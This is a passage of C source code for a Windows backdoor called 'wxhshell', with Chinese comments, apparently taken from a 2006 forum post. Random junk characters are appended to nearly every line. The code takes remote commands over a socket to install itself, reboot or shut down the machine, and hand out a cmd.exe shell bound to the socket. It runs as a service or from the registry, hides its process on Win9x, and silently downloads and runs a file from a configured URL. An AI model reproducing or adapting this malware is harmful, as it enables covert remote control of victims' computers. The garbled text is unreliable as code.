      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R+{^@M&  
    break; Y@]);MyL  
  } 7a:*Y"f,~  
  // 安装 4@v1jJj  
  case 'i': { 9^PRX  
    if(Install()) 22GnbA7O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =! N _^cb  
    else <AMb!?Obh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E7gHi$  
    break; -@SOo"P  
    } < TR/ `  
  // 卸载 my ;  
  case 'r': { ik2- OM  
    if(Uninstall()) &[5n0e[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `RL,ZoYuu  
    else 8 "_Bq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @ /UOSU  
    break; h4aygc  
    } `6Ureui2?  
  // 显示 wxhshell 所在路径 )W8L91-  
  case 'p': { @7@e`b?  
    char svExeFile[MAX_PATH]; W$" Y%^L  
    strcpy(svExeFile,"\n\r"); h L]8e>a?  
      strcat(svExeFile,ExeFile); z;dcAdz9  
        send(wsh,svExeFile,strlen(svExeFile),0); k,,!P""  
    break; 731h ~x!u  
    } (0E U3w?]  
  // 重启 Vk-W8[W 7  
  case 'b': { ~reQV6oQua  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .3{[_iTM  
    if(Boot(REBOOT)) 2{t)DUs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {)B9Z I{+A  
    else { CKv&Re  
    closesocket(wsh); F!7f_m0=  
    ExitThread(0); g7xbyB o7  
    } +/y{^}b/  
    break; xLx"*jyL  
    } H\^VqNK"  
  // 关机 k> b&xM!  
  case 'd': { -3.UE^W2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 61/)l0 <;  
    if(Boot(SHUTDOWN)) ybZ}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]alh_U  
    else { [_WI8~g Y  
    closesocket(wsh); g4N%PV8  
    ExitThread(0); jHAWK9fa  
    } /M3y)K`^  
    break; ku{XW8  
    } cz2,",+~  
  // 获取shell \O kc5;kB2  
  case 's': { S dIGU[fm  
    CmdShell(wsh); j%pCuC&"  
    closesocket(wsh); =/6p#d*0  
    ExitThread(0); M^z=1YrMd  
    break; i?F[||O"$  
  } =~J"kC  
  // 退出 Ovv ny$  
  case 'x': { `Kh]x9Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tM&n3MWQ  
    CloseIt(wsh); \n#]%X5c  
    break; X[V?T>jsM  
    } yeh8z:5Z O  
  // 离开 FZiZg;  
  case 'q': { (%[Tk[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bxAsV/j  
    closesocket(wsh); jCzGus!rM  
    WSACleanup(); ZA0i)(j*Mn  
    exit(1); 5U%MoH  
    break; "H>.':c"+3  
        } uie~'K\y  
  } [UMLx  
  } dCE\^q[{  
bA}Z0a  
  // 提示信息 rO0ZtC{K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'WK;$XQ  
} ;a |`s  
  } =H[\%O~?b  
[s~JceUyX  
  return; )ZGYhE  
} [-\({<t3x  
*=Doe2(!C  
// shell模块句柄  "Y7+{  
int CmdShell(SOCKET sock) {AOG"T&<  
{ f'&GFL=c  
STARTUPINFO si; .eo~?u<j&  
ZeroMemory(&si,sizeof(si)); ^IBGYl5n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,j y<o+!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; M;*$gV<x  
PROCESS_INFORMATION ProcessInfo; GuT6K}~|D  
char cmdline[]="cmd"; X~lZOVmS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #e/2C  
  return 0; T|ZF/&XP  
} 3:l DL2  
9`B0fv Q&  
// 自身启动模式 XYe~G@Q Z  
int StartFromService(void) ABc)2"i:*  
{ RlrZxmPV>O  
typedef struct X8Xn\E  
{ V JDoH  
  DWORD ExitStatus; v dU%R\  
  DWORD PebBaseAddress; a9=>r  
  DWORD AffinityMask; ob E:kNE9  
  DWORD BasePriority; Okpwh kPL5  
  ULONG UniqueProcessId; q +R*Hi  
  ULONG InheritedFromUniqueProcessId; abBO93f^  
}   PROCESS_BASIC_INFORMATION; @lS==O-`f  
# :#M{1I  
PROCNTQSIP NtQueryInformationProcess; D*\v0=P'?  
 R:~(Z?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; thuRNYv <  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &|b4\uj9  
)CLf;@1  
  HANDLE             hProcess; y;nvR6)  
  PROCESS_BASIC_INFORMATION pbi; r| f-_D  
H?tUCbw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oV9z(!X/  
  if(NULL == hInst ) return 0; 03EV%Vc  
|jT2W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %x2 uP9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n!G.At'JP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |O-`5_z$r  
ZqQ*}l5  
  if (!NtQueryInformationProcess) return 0; wK ?@.l)u  
2ev*CX6.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @4drjT  
  if(!hProcess) return 0; Z\Z,,g+WL  
*YtB )6j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TQf L%JT  
BC! 6O/kr  
  CloseHandle(hProcess); U]hF   
zBY~lNB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t<638`{kk  
if(hProcess==NULL) return 0; q$gz_nVq,b  
nIn2 *r  
HMODULE hMod; R`#W wx>b  
char procName[255]; N}b^fTq  
unsigned long cbNeeded; B>z?ClH$R  
x7dEo%j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?[)yGRzO2  
>;4!O%F  
  CloseHandle(hProcess); v vq/  
p|3b/plZ  
if(strstr(procName,"services")) return 1; // 以服务启动 l!?yu]Yon  
!`&\Lx_  
  return 0; // 注册表启动 A1),el-^5  
} NF+<#*1  
FI"HJwAs  
// 主模块 L0Y0&;y|R  
int StartWxhshell(LPSTR lpCmdLine) u5Up&QE!>q  
{ =dzWmL<~8  
  SOCKET wsl; kz B\'m,l  
BOOL val=TRUE; 6e&$l-  
  int port=0; "AC^ rz~U  
  struct sockaddr_in door; rrqQCn9  
gEwd &J  
  if(wscfg.ws_autoins) Install(); *geN [ [  
4^*,jS-9g}  
port=atoi(lpCmdLine); q .J sf+  
])w[   
if(port<=0) port=wscfg.ws_port; h2~4G)J  
9b"MQ[B4#a  
  WSADATA data; UDEj[12S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dNiH|-$an  
|3shc,7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F~HRME; Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5o)Y$>T0  
  door.sin_family = AF_INET; O_;Dk W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SZhOm  
  door.sin_port = htons(port); h Dk)Qg  
^/@jwZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -Z0+oU(?YE  
closesocket(wsl); T2FE+A]n9  
return 1; 6C [E  
} sOBu7!G%  
A"uULfnk  
  if(listen(wsl,2) == INVALID_SOCKET) { pOT7;-#n  
closesocket(wsl); ' cBBt  
return 1; CnISe^h  
} i47j lyH  
  Wxhshell(wsl); lv%9MW0 z  
  WSACleanup(); D`yEwpV^  
J2VTo: In  
return 0; ["3\eFg  
i7*EbaYzUO  
} IiJZ5'{  
#Sh <Ih  
// 以NT服务方式启动 VT%:zf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k; ZxY"^  
{ 4x;_AN  
DWORD   status = 0; ABh&X+YD  
  DWORD   specificError = 0xfffffff; !w39FfU{  
x,n,Qlb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~P .I<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?D`T7KSe~D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?6^|ZtB  
  serviceStatus.dwWin32ExitCode     = 0; T,%j\0  
  serviceStatus.dwServiceSpecificExitCode = 0; K`g7$r)U[  
  serviceStatus.dwCheckPoint       = 0; 3g~'5Ao  
  serviceStatus.dwWaitHint       = 0; _S}A=hK'  
V  ~@^`Gd  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,%9df+5k  
  if (hServiceStatusHandle==0) return; uXjP`/R|  
em{(4!W>  
status = GetLastError(); -7 U| a/  
  if (status!=NO_ERROR) ocz G|_  
{ !C4!LZ0A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X;oa[!k  
    serviceStatus.dwCheckPoint       = 0; 9$ qm>,o  
    serviceStatus.dwWaitHint       = 0; ?9{~> 4@  
    serviceStatus.dwWin32ExitCode     = status; QXgE dsw  
    serviceStatus.dwServiceSpecificExitCode = specificError; )wvHGecp*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ho;X4lo[j  
    return; yQ,{p@#X8  
  } V[o`\|<  
c0&Rg#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?a(L.3 E  
  serviceStatus.dwCheckPoint       = 0; s$D ^>0  
  serviceStatus.dwWaitHint       = 0; 7*5Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [* ?Awf`   
} 9h4({EE2t  
EJ@p-}I!  
// 处理NT服务事件,比如:启动、停止 4db(<h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *z*uEcitW  
{ c2t=_aAIPQ  
switch(fdwControl) j>-gO,v, y  
{ 4%nE*H%  
case SERVICE_CONTROL_STOP: q@t0NvNSu  
  serviceStatus.dwWin32ExitCode = 0; )G^ KDj"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ="wzq+U  
  serviceStatus.dwCheckPoint   = 0; y*pUlts<  
  serviceStatus.dwWaitHint     = 0; l*\y  
  { PYbVy<xc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i0$Bx>  
  } Q/>{f0  
  return; C CBfKp  
case SERVICE_CONTROL_PAUSE: eIRLNxt+v  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ydRC1~f0  
  break; }J">}j]/  
case SERVICE_CONTROL_CONTINUE: TJ q~)Bm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m< _S_c  
  break; 3 @ak<9&  
case SERVICE_CONTROL_INTERROGATE: 'u4<BQVV[  
  break; }by;F9&B  
}; pn.wud}R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q\m2EURco  
} $,+O9Et  
x8S7oO7  
// 标准应用程序主函数 -gSUjP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'EDda  
{ h$4Hw+Yxs]  
h%}/Cmx[  
// 获取操作系统版本  A) ;  
OsIsNt=GetOsVer(); s l]_M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R" ;x vo*  
na9sm  
  // 从命令行安装 1 $/%m_t  
  if(strpbrk(lpCmdLine,"iI")) Install(); }:X*7 n(&  
S S2FTb-m  
  // 下载执行文件 L#E] BY  
if(wscfg.ws_downexe) { bFe+m1Q_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _?OW0x4  
  WinExec(wscfg.ws_filenam,SW_HIDE); DxUKUE  
} 1pArZzm>  
ZovW0Q)m  
if(!OsIsNt) { 4"gM<z  
// 如果时win9x,隐藏进程并且设置为注册表启动 {}3${  
HideProc();  IiY/(N+J  
StartWxhshell(lpCmdLine); dZi"$ g  
} Y.g59X!Ub2  
else J ]nohICe  
  if(StartFromService()) su*'d:L  
  // 以服务方式启动 \v'p/G)g  
  StartServiceCtrlDispatcher(DispatchTable); !%"8|)CAr  
else "jG}B.l=,  
  // 普通方式启动 G6T_O  
  StartWxhshell(lpCmdLine); xuqv6b.  
a)wJT`xu  
return 0;  ,%uo6%  
}
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只看该作者 1 发表于: 2006-10-10
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